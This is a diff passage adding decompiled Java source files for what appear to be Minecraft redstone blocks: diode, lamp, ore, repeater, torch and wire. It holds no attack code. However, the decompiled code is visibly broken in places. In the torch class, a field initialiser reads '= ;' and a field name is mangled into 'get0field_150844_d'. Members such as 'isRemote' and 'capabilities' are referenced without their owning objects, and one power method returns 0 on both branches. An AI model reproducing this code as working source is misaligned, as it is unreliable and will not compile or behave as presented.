+    return World.doesBlockHaveSolidTopSurface(worldIn, p_176409_2_.offsetDown());
+  }
+  
+
+
+  public void randomTick(World worldIn, BlockPos pos, IBlockState state, Random random) {}
+  
+
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!func_176405_b(worldIn, pos, state))
+    {
+      boolean var5 = func_176404_e(worldIn, pos, state);
+      
+      if ((isRepeaterPowered) && (!var5))
+      {
+        worldIn.setBlockState(pos, func_180675_k(state), 2);
+      }
+      else if (!isRepeaterPowered)
+      {
+        worldIn.setBlockState(pos, func_180674_e(state), 2);
+        
+        if (!var5)
+        {
+          worldIn.func_175654_a(pos, func_180674_e(state).getBlock(), func_176399_m(state), -1);
+        }
+      }
+    }
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return side.getAxis() != EnumFacing.Axis.Y;
+  }
+  
+  protected boolean func_176406_l(IBlockState p_176406_1_)
+  {
+    return isRepeaterPowered;
+  }
+  
+  public int isProvidingStrongPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return isProvidingWeakPower(worldIn, pos, state, side);
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return state.getValue(AGE) == side ? func_176408_a(worldIn, pos, state) : !func_176406_l(state) ? 0 : 0;
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (func_176409_d(worldIn, pos))
+    {
+      func_176398_g(worldIn, pos, state);
+    }
+    else
+    {
+      dropBlockAsItem(worldIn, pos, state, 0);
+      worldIn.setBlockToAir(pos);
+      EnumFacing[] var5 = EnumFacing.values();
+      int var6 = var5.length;
+      
+      for (int var7 = 0; var7 < var6; var7++)
+      {
+        EnumFacing var8 = var5[var7];
+        worldIn.notifyNeighborsOfStateChange(pos.offset(var8), this);
+      }
+    }
+  }
+  
+  protected void func_176398_g(World worldIn, BlockPos p_176398_2_, IBlockState p_176398_3_)
+  {
+    if (!func_176405_b(worldIn, p_176398_2_, p_176398_3_))
+    {
+      boolean var4 = func_176404_e(worldIn, p_176398_2_, p_176398_3_);
+      
+      if (((isRepeaterPowered) && (!var4)) || ((!isRepeaterPowered) && (var4) && (!worldIn.isBlockTickPending(p_176398_2_, this))))
+      {
+        byte var5 = -1;
+        
+        if (func_176402_i(worldIn, p_176398_2_, p_176398_3_))
+        {
+          var5 = -3;
+        }
+        else if (isRepeaterPowered)
+        {
+          var5 = -2;
+        }
+        
+        worldIn.func_175654_a(p_176398_2_, this, func_176403_d(p_176398_3_), var5);
+      }
+    }
+  }
+  
+  public boolean func_176405_b(IBlockAccess p_176405_1_, BlockPos p_176405_2_, IBlockState p_176405_3_)
+  {
+    return false;
+  }
+  
+  protected boolean func_176404_e(World worldIn, BlockPos p_176404_2_, IBlockState p_176404_3_)
+  {
+    return func_176397_f(worldIn, p_176404_2_, p_176404_3_) > 0;
+  }
+  
+  protected int func_176397_f(World worldIn, BlockPos p_176397_2_, IBlockState p_176397_3_)
+  {
+    EnumFacing var4 = (EnumFacing)p_176397_3_.getValue(AGE);
+    BlockPos var5 = p_176397_2_.offset(var4);
+    int var6 = worldIn.getRedstonePower(var5, var4);
+    
+    if (var6 >= 15)
+    {
+      return var6;
+    }
+    
+
+    IBlockState var7 = worldIn.getBlockState(var5);
+    return Math.max(var6, var7.getBlock() == Blocks.redstone_wire ? ((Integer)var7.getValue(BlockRedstoneWire.POWER)).intValue() : 0);
+  }
+  
+
+  protected int func_176407_c(IBlockAccess p_176407_1_, BlockPos p_176407_2_, IBlockState p_176407_3_)
+  {
+    EnumFacing var4 = (EnumFacing)p_176407_3_.getValue(AGE);
+    EnumFacing var5 = var4.rotateY();
+    EnumFacing var6 = var4.rotateYCCW();
+    return Math.max(func_176401_c(p_176407_1_, p_176407_2_.offset(var5), var5), func_176401_c(p_176407_1_, p_176407_2_.offset(var6), var6));
+  }
+  
+  protected int func_176401_c(IBlockAccess p_176401_1_, BlockPos p_176401_2_, EnumFacing p_176401_3_)
+  {
+    IBlockState var4 = p_176401_1_.getBlockState(p_176401_2_);
+    Block var5 = var4.getBlock();
+    return func_149908_a(var5) ? p_176401_1_.getStrongPower(p_176401_2_, p_176401_3_) : var5 == Blocks.redstone_wire ? ((Integer)var4.getValue(BlockRedstoneWire.POWER)).intValue() : 0;
+  }
+  
+
+
+
+  public boolean canProvidePower()
+  {
+    return true;
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(AGE, placer.func_174811_aO().getOpposite());
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    if (func_176404_e(worldIn, pos, state))
+    {
+      worldIn.scheduleUpdate(pos, this, 1);
+    }
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    func_176400_h(worldIn, pos, state);
+  }
+  
+  protected void func_176400_h(World worldIn, BlockPos p_176400_2_, IBlockState p_176400_3_)
+  {
+    EnumFacing var4 = (EnumFacing)p_176400_3_.getValue(AGE);
+    BlockPos var5 = p_176400_2_.offset(var4.getOpposite());
+    worldIn.notifyBlockOfStateChange(var5, this);
+    worldIn.notifyNeighborsOfStateExcept(var5, this, var4);
+  }
+  
+
+
+
+  public void onBlockDestroyedByPlayer(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (isRepeaterPowered)
+    {
+      EnumFacing[] var4 = EnumFacing.values();
+      int var5 = var4.length;
+      
+      for (int var6 = 0; var6 < var5; var6++)
+      {
+        EnumFacing var7 = var4[var6];
+        worldIn.notifyNeighborsOfStateChange(pos.offset(var7), this);
+      }
+    }
+    
+    super.onBlockDestroyedByPlayer(worldIn, pos, state);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  protected boolean func_149908_a(Block p_149908_1_)
+  {
+    return p_149908_1_.canProvidePower();
+  }
+  
+  protected int func_176408_a(IBlockAccess p_176408_1_, BlockPos p_176408_2_, IBlockState p_176408_3_)
+  {
+    return 15;
+  }
+  
+  public static boolean isRedstoneRepeaterBlockID(Block p_149909_0_)
+  {
+    return (Blocks.unpowered_repeater.func_149907_e(p_149909_0_)) || (Blocks.unpowered_comparator.func_149907_e(p_149909_0_));
+  }
+  
+  public boolean func_149907_e(Block p_149907_1_)
+  {
+    return (p_149907_1_ == func_180674_e(getDefaultState()).getBlock()) || (p_149907_1_ == func_180675_k(getDefaultState()).getBlock());
+  }
+  
+  public boolean func_176402_i(World worldIn, BlockPos p_176402_2_, IBlockState p_176402_3_)
+  {
+    EnumFacing var4 = ((EnumFacing)p_176402_3_.getValue(AGE)).getOpposite();
+    BlockPos var5 = p_176402_2_.offset(var4);
+    return worldIn.getBlockState(var5).getValue(AGE) != var4;
+  }
+  
+  protected int func_176399_m(IBlockState p_176399_1_)
+  {
+    return func_176403_d(p_176399_1_);
+  }
+  
+  protected abstract int func_176403_d(IBlockState paramIBlockState);
+  
+  protected abstract IBlockState func_180674_e(IBlockState paramIBlockState);
+  
+  protected abstract IBlockState func_180675_k(IBlockState paramIBlockState);
+  
+  public boolean isAssociatedBlock(Block other)
+  {
+    return func_149907_e(other);
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRedstoneLight.java b/src/minecraft/net/minecraft/block/BlockRedstoneLight.java
new file mode 100644
index 0000000..e5894b9
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRedstoneLight.java
@@ -0,0 +1,88 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockRedstoneLight extends Block
+{
+  private final boolean isOn;
+  private static final String __OBFID = "CL_00000297";
+  
+  public BlockRedstoneLight(boolean p_i45421_1_)
+  {
+    super(Material.redstoneLight);
+    isOn = p_i45421_1_;
+    
+    if (p_i45421_1_)
+    {
+      setLightLevel(1.0F);
+    }
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!isRemote)
+    {
+      if ((isOn) && (!worldIn.isBlockPowered(pos)))
+      {
+        worldIn.setBlockState(pos, Blocks.redstone_lamp.getDefaultState(), 2);
+      }
+      else if ((!isOn) && (worldIn.isBlockPowered(pos)))
+      {
+        worldIn.setBlockState(pos, Blocks.lit_redstone_lamp.getDefaultState(), 2);
+      }
+    }
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!isRemote)
+    {
+      if ((isOn) && (!worldIn.isBlockPowered(pos)))
+      {
+        worldIn.scheduleUpdate(pos, this, 4);
+      }
+      else if ((!isOn) && (worldIn.isBlockPowered(pos)))
+      {
+        worldIn.setBlockState(pos, Blocks.lit_redstone_lamp.getDefaultState(), 2);
+      }
+    }
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!isRemote)
+    {
+      if ((isOn) && (!worldIn.isBlockPowered(pos)))
+      {
+        worldIn.setBlockState(pos, Blocks.redstone_lamp.getDefaultState(), 2);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(Blocks.redstone_lamp);
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Item.getItemFromBlock(Blocks.redstone_lamp);
+  }
+  
+  protected ItemStack createStackedBlock(IBlockState state)
+  {
+    return new ItemStack(Blocks.redstone_lamp);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRedstoneOre.java b/src/minecraft/net/minecraft/block/BlockRedstoneOre.java
new file mode 100644
index 0000000..0f675f0
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRedstoneOre.java
@@ -0,0 +1,184 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class BlockRedstoneOre extends Block
+{
+  private final boolean isOn;
+  private static final String __OBFID = "CL_00000294";
+  
+  public BlockRedstoneOre(boolean p_i45420_1_)
+  {
+    super(Material.rock);
+    
+    if (p_i45420_1_)
+    {
+      setTickRandomly(true);
+    }
+    
+    isOn = p_i45420_1_;
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return 30;
+  }
+  
+  public void onBlockClicked(World worldIn, BlockPos pos, EntityPlayer playerIn)
+  {
+    setOn(worldIn, pos);
+    super.onBlockClicked(worldIn, pos, playerIn);
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, Entity entityIn)
+  {
+    setOn(worldIn, pos);
+    super.onEntityCollidedWithBlock(worldIn, pos, entityIn);
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    setOn(worldIn, pos);
+    return super.onBlockActivated(worldIn, pos, state, playerIn, side, hitX, hitY, hitZ);
+  }
+  
+  private void setOn(World worldIn, BlockPos p_176352_2_)
+  {
+    spawnRedstoneParticles(worldIn, p_176352_2_);
+    
+    if (this == Blocks.redstone_ore)
+    {
+      worldIn.setBlockState(p_176352_2_, Blocks.lit_redstone_ore.getDefaultState());
+    }
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (this == Blocks.lit_redstone_ore)
+    {
+      worldIn.setBlockState(pos, Blocks.redstone_ore.getDefaultState());
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.redstone;
+  }
+  
+
+
+
+  public int quantityDroppedWithBonus(int fortune, Random random)
+  {
+    return quantityDropped(random) + random.nextInt(fortune + 1);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 4 + random.nextInt(2);
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    super.dropBlockAsItemWithChance(worldIn, pos, state, chance, fortune);
+    
+    if (getItemDropped(state, rand, fortune) != Item.getItemFromBlock(this))
+    {
+      int var6 = 1 + rand.nextInt(5);
+      dropXpOnBlockBreak(worldIn, pos, var6);
+    }
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (isOn)
+    {
+      spawnRedstoneParticles(worldIn, pos);
+    }
+  }
+  
+  private void spawnRedstoneParticles(World worldIn, BlockPos p_180691_2_)
+  {
+    Random var3 = rand;
+    double var4 = 0.0625D;
+    
+    for (int var6 = 0; var6 < 6; var6++)
+    {
+      double var7 = p_180691_2_.getX() + var3.nextFloat();
+      double var9 = p_180691_2_.getY() + var3.nextFloat();
+      double var11 = p_180691_2_.getZ() + var3.nextFloat();
+      
+      if ((var6 == 0) && (!worldIn.getBlockState(p_180691_2_.offsetUp()).getBlock().isOpaqueCube()))
+      {
+        var9 = p_180691_2_.getY() + var4 + 1.0D;
+      }
+      
+      if ((var6 == 1) && (!worldIn.getBlockState(p_180691_2_.offsetDown()).getBlock().isOpaqueCube()))
+      {
+        var9 = p_180691_2_.getY() - var4;
+      }
+      
+      if ((var6 == 2) && (!worldIn.getBlockState(p_180691_2_.offsetSouth()).getBlock().isOpaqueCube()))
+      {
+        var11 = p_180691_2_.getZ() + var4 + 1.0D;
+      }
+      
+      if ((var6 == 3) && (!worldIn.getBlockState(p_180691_2_.offsetNorth()).getBlock().isOpaqueCube()))
+      {
+        var11 = p_180691_2_.getZ() - var4;
+      }
+      
+      if ((var6 == 4) && (!worldIn.getBlockState(p_180691_2_.offsetEast()).getBlock().isOpaqueCube()))
+      {
+        var7 = p_180691_2_.getX() + var4 + 1.0D;
+      }
+      
+      if ((var6 == 5) && (!worldIn.getBlockState(p_180691_2_.offsetWest()).getBlock().isOpaqueCube()))
+      {
+        var7 = p_180691_2_.getX() - var4;
+      }
+      
+      if ((var7 < p_180691_2_.getX()) || (var7 > p_180691_2_.getX() + 1) || (var9 < 0.0D) || (var9 > p_180691_2_.getY() + 1) || (var11 < p_180691_2_.getZ()) || (var11 > p_180691_2_.getZ() + 1))
+      {
+        worldIn.spawnParticle(EnumParticleTypes.REDSTONE, var7, var9, var11, 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+    }
+  }
+  
+  protected ItemStack createStackedBlock(IBlockState state)
+  {
+    return new ItemStack(Blocks.redstone_ore);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRedstoneRepeater.java b/src/minecraft/net/minecraft/block/BlockRedstoneRepeater.java
new file mode 100644
index 0000000..931e50e
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRedstoneRepeater.java
@@ -0,0 +1,150 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockRedstoneRepeater extends BlockRedstoneDiode
+{
+  public static final PropertyBool field_176411_a = PropertyBool.create("locked");
+  public static final PropertyInteger field_176410_b = PropertyInteger.create("delay", 1, 4);
+  private static final String __OBFID = "CL_00000301";
+  
+  protected BlockRedstoneRepeater(boolean p_i45424_1_)
+  {
+    super(p_i45424_1_);
+    setDefaultState(blockState.getBaseState().withProperty(AGE, EnumFacing.NORTH).withProperty(field_176410_b, Integer.valueOf(1)).withProperty(field_176411_a, Boolean.valueOf(false)));
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    return state.withProperty(field_176411_a, Boolean.valueOf(func_176405_b(worldIn, pos, state)));
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (!capabilities.allowEdit)
+    {
+      return false;
+    }
+    
+
+    worldIn.setBlockState(pos, state.cycleProperty(field_176410_b), 3);
+    return true;
+  }
+  
+
+  protected int func_176403_d(IBlockState p_176403_1_)
+  {
+    return ((Integer)p_176403_1_.getValue(field_176410_b)).intValue() * 2;
+  }
+  
+  protected IBlockState func_180674_e(IBlockState p_180674_1_)
+  {
+    Integer var2 = (Integer)p_180674_1_.getValue(field_176410_b);
+    Boolean var3 = (Boolean)p_180674_1_.getValue(field_176411_a);
+    EnumFacing var4 = (EnumFacing)p_180674_1_.getValue(AGE);
+    return Blocks.powered_repeater.getDefaultState().withProperty(AGE, var4).withProperty(field_176410_b, var2).withProperty(field_176411_a, var3);
+  }
+  
+  protected IBlockState func_180675_k(IBlockState p_180675_1_)
+  {
+    Integer var2 = (Integer)p_180675_1_.getValue(field_176410_b);
+    Boolean var3 = (Boolean)p_180675_1_.getValue(field_176411_a);
+    EnumFacing var4 = (EnumFacing)p_180675_1_.getValue(AGE);
+    return Blocks.unpowered_repeater.getDefaultState().withProperty(AGE, var4).withProperty(field_176410_b, var2).withProperty(field_176411_a, var3);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.repeater;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.repeater;
+  }
+  
+  public boolean func_176405_b(IBlockAccess p_176405_1_, BlockPos p_176405_2_, IBlockState p_176405_3_)
+  {
+    return func_176407_c(p_176405_1_, p_176405_2_, p_176405_3_) > 0;
+  }
+  
+  protected boolean func_149908_a(Block p_149908_1_)
+  {
+    return isRedstoneRepeaterBlockID(p_149908_1_);
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (isRepeaterPowered)
+    {
+      EnumFacing var5 = (EnumFacing)state.getValue(AGE);
+      double var6 = pos.getX() + 0.5F + (rand.nextFloat() - 0.5F) * 0.2D;
+      double var8 = pos.getY() + 0.4F + (rand.nextFloat() - 0.5F) * 0.2D;
+      double var10 = pos.getZ() + 0.5F + (rand.nextFloat() - 0.5F) * 0.2D;
+      float var12 = -5.0F;
+      
+      if (rand.nextBoolean())
+      {
+        var12 = ((Integer)state.getValue(field_176410_b)).intValue() * 2 - 1;
+      }
+      
+      var12 /= 16.0F;
+      double var13 = var12 * var5.getFrontOffsetX();
+      double var15 = var12 * var5.getFrontOffsetZ();
+      worldIn.spawnParticle(EnumParticleTypes.REDSTONE, var6 + var13, var8, var10 + var15, 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    super.breakBlock(worldIn, pos, state);
+    func_176400_h(worldIn, pos, state);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(AGE, EnumFacing.getHorizontal(meta)).withProperty(field_176411_a, Boolean.valueOf(false)).withProperty(field_176410_b, Integer.valueOf(1 + (meta >> 2)));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(AGE)).getHorizontalIndex();
+    var3 |= ((Integer)state.getValue(field_176410_b)).intValue() - 1 << 2;
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { AGE, field_176410_b, field_176411_a });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRedstoneTorch.java b/src/minecraft/net/minecraft/block/BlockRedstoneTorch.java
new file mode 100644
index 0000000..7ec0177
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRedstoneTorch.java
@@ -0,0 +1,235 @@
+package net.minecraft.block;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockRedstoneTorch extends BlockTorch
+{
+  private static Map field_150112_b = ;
+  private final boolean field_150113_a;
+  private static final String __OBFID = "CL_00000298";
+  
+  private boolean func_176598_a(World worldIn, BlockPos p_176598_2_, boolean p_176598_3_)
+  {
+    if (!field_150112_b.containsKey(worldIn))
+    {
+      field_150112_b.put(worldIn, Lists.newArrayList());
+    }
+    
+    List var4 = (List)field_150112_b.get(worldIn);
+    
+    if (p_176598_3_)
+    {
+      var4.add(new Toggle(p_176598_2_, worldIn.getTotalWorldTime()));
+    }
+    
+    int var5 = 0;
+    
+    for (int var6 = 0; var6 < var4.size(); var6++)
+    {
+      Toggle var7 = (Toggle)var4.get(var6);
+      
+      if (field_180111_a.equals(p_176598_2_))
+      {
+        var5++;
+        
+        if (var5 >= 8)
+        {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  protected BlockRedstoneTorch(boolean p_i45423_1_)
+  {
+    field_150113_a = p_i45423_1_;
+    setTickRandomly(true);
+    setCreativeTab(null);
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return 2;
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (field_150113_a)
+    {
+      EnumFacing[] var4 = EnumFacing.values();
+      int var5 = var4.length;
+      
+      for (int var6 = 0; var6 < var5; var6++)
+      {
+        EnumFacing var7 = var4[var6];
+        worldIn.notifyNeighborsOfStateChange(pos.offset(var7), this);
+      }
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (field_150113_a)
+    {
+      EnumFacing[] var4 = EnumFacing.values();
+      int var5 = var4.length;
+      
+      for (int var6 = 0; var6 < var5; var6++)
+      {
+        EnumFacing var7 = var4[var6];
+        worldIn.notifyNeighborsOfStateChange(pos.offset(var7), this);
+      }
+    }
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return (field_150113_a) && (state.getValue(FACING_PROP) != side) ? 15 : 0;
+  }
+  
+  private boolean func_176597_g(World worldIn, BlockPos p_176597_2_, IBlockState p_176597_3_)
+  {
+    EnumFacing var4 = ((EnumFacing)p_176597_3_.getValue(FACING_PROP)).getOpposite();
+    return worldIn.func_175709_b(p_176597_2_.offset(var4), var4);
+  }
+  
+
+
+  public void randomTick(World worldIn, BlockPos pos, IBlockState state, Random random) {}
+  
+
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    boolean var5 = func_176597_g(worldIn, pos, state);
+    List var6 = (List)field_150112_b.get(worldIn);
+    
+    while ((var6 != null) && (!var6.isEmpty()) && (worldIn.getTotalWorldTime() - get0field_150844_d > 60L))
+    {
+      var6.remove(0);
+    }
+    
+    if (field_150113_a)
+    {
+      if (var5)
+      {
+        worldIn.setBlockState(pos, Blocks.unlit_redstone_torch.getDefaultState().withProperty(FACING_PROP, state.getValue(FACING_PROP)), 3);
+        
+        if (func_176598_a(worldIn, pos, true))
+        {
+          worldIn.playSoundEffect(pos.getX() + 0.5F, pos.getY() + 0.5F, pos.getZ() + 0.5F, "random.fizz", 0.5F, 2.6F + (rand.nextFloat() - rand.nextFloat()) * 0.8F);
+          
+          for (int var7 = 0; var7 < 5; var7++)
+          {
+            double var8 = pos.getX() + rand.nextDouble() * 0.6D + 0.2D;
+            double var10 = pos.getY() + rand.nextDouble() * 0.6D + 0.2D;
+            double var12 = pos.getZ() + rand.nextDouble() * 0.6D + 0.2D;
+            worldIn.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var8, var10, var12, 0.0D, 0.0D, 0.0D, new int[0]);
+          }
+          
+          worldIn.scheduleUpdate(pos, worldIn.getBlockState(pos).getBlock(), 160);
+        }
+      }
+    }
+    else if ((!var5) && (!func_176598_a(worldIn, pos, false)))
+    {
+      worldIn.setBlockState(pos, Blocks.redstone_torch.getDefaultState().withProperty(FACING_PROP, state.getValue(FACING_PROP)), 3);
+    }
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!func_176592_e(worldIn, pos, state))
+    {
+      if (field_150113_a == func_176597_g(worldIn, pos, state))
+      {
+        worldIn.scheduleUpdate(pos, this, tickRate(worldIn));
+      }
+    }
+  }
+  
+  public int isProvidingStrongPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return side == EnumFacing.DOWN ? isProvidingWeakPower(worldIn, pos, state, side) : 0;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(Blocks.redstone_torch);
+  }
+  
+
+
+
+  public boolean canProvidePower()
+  {
+    return true;
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (field_150113_a)
+    {
+      double var5 = pos.getX() + 0.5F + (rand.nextFloat() - 0.5F) * 0.2D;
+      double var7 = pos.getY() + 0.7F + (rand.nextFloat() - 0.5F) * 0.2D;
+      double var9 = pos.getZ() + 0.5F + (rand.nextFloat() - 0.5F) * 0.2D;
+      EnumFacing var11 = (EnumFacing)state.getValue(FACING_PROP);
+      
+      if (var11.getAxis().isHorizontal())
+      {
+        EnumFacing var12 = var11.getOpposite();
+        double var13 = 0.27000001072883606D;
+        var5 += 0.27000001072883606D * var12.getFrontOffsetX();
+        var7 += 0.2199999988079071D;
+        var9 += 0.27000001072883606D * var12.getFrontOffsetZ();
+      }
+      
+      worldIn.spawnParticle(EnumParticleTypes.REDSTONE, var5, var7, var9, 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Item.getItemFromBlock(Blocks.redstone_torch);
+  }
+  
+  public boolean isAssociatedBlock(Block other)
+  {
+    return (other == Blocks.unlit_redstone_torch) || (other == Blocks.redstone_torch);
+  }
+  
+  static class Toggle
+  {
+    BlockPos field_180111_a;
+    long field_150844_d;
+    private static final String __OBFID = "CL_00000299";
+    
+    public Toggle(BlockPos p_i45688_1_, long p_i45688_2_)
+    {
+      field_180111_a = p_i45688_1_;
+      field_150844_d = p_i45688_2_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRedstoneWire.java b/src/minecraft/net/minecraft/block/BlockRedstoneWire.java
new file mode 100644
index 0000000..a86337f
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRedstoneWire.java
@@ -0,0 +1,544 @@
+package net.minecraft.block;
+
+import java.util.ArrayList;
+import java.util.EnumSet;
+import java.util.Iterator;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockRedstoneWire extends Block
+{
+  public static final PropertyEnum NORTH = PropertyEnum.create("north", EnumAttachPosition.class);
+  public static final PropertyEnum EAST = PropertyEnum.create("east", EnumAttachPosition.class);
+  public static final PropertyEnum SOUTH = PropertyEnum.create("south", EnumAttachPosition.class);
+  public static final PropertyEnum WEST = PropertyEnum.create("west", EnumAttachPosition.class);
+  public static final PropertyInteger POWER = PropertyInteger.create("power", 0, 15);
+  private boolean canProvidePower = true;
+  private final Set field_150179_b = com.google.common.collect.Sets.newHashSet();
+  private static final String __OBFID = "CL_00000295";
+  
+  public BlockRedstoneWire()
+  {
+    super(Material.circuits);
